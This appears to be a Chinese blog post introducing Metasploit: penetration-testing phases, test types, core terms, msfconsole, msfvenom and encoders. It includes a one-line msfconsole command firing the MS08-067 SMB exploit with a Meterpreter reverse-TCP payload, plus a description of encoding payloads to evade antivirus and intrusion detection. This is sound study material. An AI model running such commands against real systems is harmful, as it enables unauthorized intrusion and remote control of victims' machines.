Metasploit基础

渗透测试流程和类型

渗透测试流程

渗透测试执行标准(PTES:Penetration Testing Execution Standard)对渗透测试进行了定义。

  • 前期交互阶段
  • 情报搜集阶段
  • 威胁建模阶段
  • 漏洞分析阶段
  • 渗透攻击阶段
  • 后渗透攻击阶段
  • 报告阶段

每个阶段现在不作详细的介绍,在后面会有针对性的讲解。对一些靶机的渗透过程中,会综合运用以上的阶段。当然,标准是灵活的,我们一样可以按照自己的习惯和经验来制定自己的渗透测试流程。像我在读的另外一本书《黑客秘笈——渗透测试使用指南(第2版)》(英文原著已经到第3版,只是还没有中文译本),笔者就有自己的一套渗透测试流程,或许这套流程更适合自己。

渗透测试类型

  • 白盒测试
    拥有所有的内部知识,在不需要害怕被阻断的情况下任意地实施攻击。
  • 黑盒测试
    不了解客户组织大部分信息和知识,模拟攻击者的入侵行为,费时费力,需要具备更强的技术能力。
  • 灰盒测试
    上面两者的组合,已经了解部分内部知识(结构拓扑图、访问凭证、应用使用手册等)。

Metasploit基础

接口 选项 变量 模块...

专业术语

1. Exploit_渗透攻击

攻击者利用一个安全漏洞所进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(如SQL注入),及利用配置错误等。

2. Payload_攻击载荷

是我们期望目标系统在被渗透攻击之后去执行的代码

3. shellcode

在渗透攻击时作为攻击载荷运行的一组机器命令。shellcode通常以汇编语言编写。

4. Module_模块

一个模块是指Metasploit框架中所使用的一段软件代码组件
比如说:渗透攻击模块(exploit module),辅助模块(auxiliary module)

5. Listener_监听器

等待被渗透主机连入网络的连接的组件

接口

1. MSF终端

msfconsole启动

help 命令 查看命令帮助,如 help connect,查看connect命令的相关选项。

2. MSF命令行

命令行和终端的区别
终端以一种用户友好的模式提供交互方式。
命令行主要考虑对脚本处理和与其他命令行工具的互操作性。简单说就是一行命令直接解决,不像终端那样交互几次。
在2015年1月份,Metasploit 官方宣布不再支持msfcli命令行工具,作为替代方案,建议使用MSF终端的“-x”选项。
如:

./msfconsole -x "use exploit/windows/smb/mse8_067_netapi;set RHOST [IP];set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST [IP];run"

3. Armitage

完全交互式的图形化用户接口。跟终端的区别在于可以图形化选择模块,已经集成在kali上。

Metasploit功能程序

就是指在某些特殊场合下最常用的功能。

1. MSF攻击载荷生成器

MSF攻击载荷生成器允许你能够生成shellcode、可执行代码和其他更多的东西,也可以让它们在框架软件之外的渗透代码中进行使用。

msfpayload已经被弃用,取而代之的是集成了攻击载荷生成编码msfvenom

如果对某个攻击载荷的模块不清楚配置,使用payload-options

root@kali:~$ msfvenom-p windows/she11_reverse_tcp --payload-options

2. MSF编码器

为什么要使用编码器:

  • 由MSF攻击载荷生成器产生的shellcode是完全可运行的,但是其中包含了一些null空字符,在一些程序进行解析时,这些空字符会被认为是字符串的结束,从而使得代码在完整执行之前被截断而终止运行。简单来说,这些\x00和\xff字符会破坏你的攻击载荷。

  • 在网络上明文传输的shellcode很可能被入侵检测系统(IDS)和杀毒软件所识别,为了解决这一问题,MSF编码器来啦!它可以帮助你通过对原始攻击载荷进行编码的方式,来避免坏字符,以及逃避杀毒软件和IDS的检测。

3. Nasm shell

在进行渗透代码开发时(绝对是大神级别了),需要对给定的汇编命令找出它的opcode操作码,nasm就特别舒服了!

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,539评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,594评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,871评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,963评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,984评论 6 393
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,763评论 1 307
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,468评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,357评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,850评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,002评论 3 338
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,144评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,823评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,483评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,026评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,150评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,415评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,092评论 2 355

推荐阅读更多精彩内容

  • msf启动 输入命令msfconsole,-q命令是不显示msflogo 也可以点击左边M图标进行启动 启动成功后...
    1f28dd1475ee阅读 23,766评论 0 6
  • 1 Metasploit介绍 Metasploit是一个漏洞利用框架,简称msf。默认情况kali直接封装msf工...
    shadowflow阅读 761评论 0 1
  • 从第一篇之后接下来就要正式开始渗透测试的部分了,首先引用《指南》中的几点忠告: 不要进行恶意的攻击 不要做傻事 在...
    椋鸟阅读 1,060评论 2 2
  • Metasploit基本介绍与配置 Metasploit作为一个非常全面的渗透工具,用来收集信息非常好用,信息收集...
    yingtaomj阅读 2,752评论 0 2
  • 一、MSF终端命令 show exploits 列出metasploit框架中所有的渗透攻击模块 show pay...
    Kaen阅读 3,261评论 0 1